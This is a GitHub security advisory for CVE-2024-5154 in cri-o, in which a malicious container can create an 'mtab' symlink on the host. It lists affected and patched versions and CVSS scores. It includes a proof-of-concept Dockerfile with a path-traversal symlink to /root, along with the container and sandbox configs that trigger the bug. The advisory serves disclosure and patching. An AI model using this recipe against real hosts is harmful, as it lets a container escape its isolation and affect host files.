Skip to content

malicious container creates symlink "mtab" on the host External

High severity GitHub Reviewed Published Jun 3, 2024 in cri-o/cri-o • Updated Dec 11, 2024

Package

gomod github.com/cri-o/cri-o (Go)

Affected versions

>= 1.28.6, < 1.28.7
>= 1.29.4, < 1.29.5
>= 1.30.0, < 1.30.1

Patched versions

1.28.7
1.29.5
1.30.1

Description

Impact

A malicious container can affect the host by taking advantage of code cri-o added to show the container mounts on the host.

A workload built from this Dockerfile:

FROM docker.io/library/busybox as source
RUN mkdir /extra && cd /extra && ln -s ../../../../../../../../root etc

FROM scratch

COPY --from=source /bin /bin
COPY --from=source /lib /lib
COPY --from=source /extra .

and this container config:

{
  "metadata": {
      "name": "busybox"
  },
  "image":{
      "image": "localhost/test"
  },
  "command": [
      "/bin/true"
  ],
  "linux": {
  }
}


and this sandbox config

{
  "metadata": {
    "name": "test-sandbox",
    "namespace": "default",
    "attempt": 1,
    "uid": "edishd83djaideaduwk28bcsb"
  },
  "linux": {
    "security_context": {
      "namespace_options": {
        "network": 2
      }
    }
  }
}

will create a file on host /host/mtab

Patches

1.30.1, 1.29.5, 1.28.7

Workarounds

Unfortunately not

References

Are there any links users can visit to find out more?

References

@haircommander haircommander published to cri-o/cri-o Jun 3, 2024
Published to the GitHub Advisory Database Jun 4, 2024
Reviewed Jun 4, 2024
Published by the National Vulnerability Database Jun 12, 2024
Last updated Dec 11, 2024

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N

EPSS score

0.046%
(18th percentile)

CVE ID

CVE-2024-5154

GHSA ID

GHSA-j9hf-98c3-wrm8

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.